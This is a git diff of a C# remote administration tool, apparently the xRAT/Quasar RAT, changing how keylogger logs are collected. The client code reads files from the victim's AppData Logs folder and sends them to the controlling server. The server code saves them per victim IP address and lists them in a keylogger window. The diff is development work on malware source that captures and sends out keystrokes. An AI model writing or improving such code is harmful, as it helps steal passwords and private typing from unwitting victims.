diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 60943ab4..a6708575 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -367,18 +367,16 @@ namespace xClient.Core.Commands { new Thread(() => { - int index = 1; try { + int index = 1; string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; - DirectoryInfo dicInfo = new DirectoryInfo(path); - - FileInfo[] iFiles = dicInfo.GetFiles(); + FileInfo[] iFiles = new DirectoryInfo(path).GetFiles(); if (iFiles.Length == 0) { - new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, iFiles.Length).Execute(client); + new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); return; } diff --git a/Server/Core/Commands/CommandHandler.cs b/Server/Core/Commands/CommandHandler.cs index 08b07d25..136f0077 100644 --- a/Server/Core/Commands/CommandHandler.cs +++ b/Server/Core/Commands/CommandHandler.cs @@ -335,12 +335,26 @@ namespace xServer.Core.Commands destFile.AppendBlock(packet.Block, packet.CurrentBlock); - if ((packet.CurrentBlock + 1) == packet.MaxBlocks) + if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks) { - client.Value.FrmKl.Invoke((MethodInvoker) delegate + FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles(); + + if (iFiles.Length == 0) + return; + + foreach (FileInfo file in iFiles) { - if (packet.Index == packet.FileCount) - client.Value.FrmKl.btnGetLogs.Enabled = true; + var file1 = file; + client.Value.FrmKl.Invoke((MethodInvoker)delegate + { + client.Value.FrmKl.lstLogs.Items.Add(new ListViewItem().Text = file1.Name); + + }); + } + + client.Value.FrmKl.Invoke((MethodInvoker)delegate + { + client.Value.FrmKl.btnGetLogs.Enabled = true; }); } } diff --git a/Server/Forms/FrmKeylogger.cs b/Server/Forms/FrmKeylogger.cs index c30aa7d2..2612e8b9 100644 --- a/Server/Forms/FrmKeylogger.cs +++ b/Server/Forms/FrmKeylogger.cs @@ -49,33 +49,9 @@ namespace xServer.Forms private void btnGetLogs_Click(object sender, EventArgs e) { btnGetLogs.Enabled = false; - lstLogs.Items.Clear(); new Core.Packets.ServerPackets.GetLogs().Execute(_connectClient); - - new Thread(() => - { - while (!btnGetLogs.Enabled) - { - if (FrmMain.Instance == null) - //Provide an escape from thread in the case of client-server disconnection, a possibly rare occurence - return; - - Thread.Sleep(15); - } - - FileInfo[] iFiles = new DirectoryInfo(_path).GetFiles(); - - if (iFiles.Length == 0) - return; - - foreach (FileInfo file in iFiles) - { - var file1 = file; - lstLogs.Invoke((MethodInvoker) delegate { lstLogs.Items.Add(new ListViewItem().Text = file1.Name); }); - } - }).Start(); } private void lstLogs_ItemActivate(object sender, EventArgs e)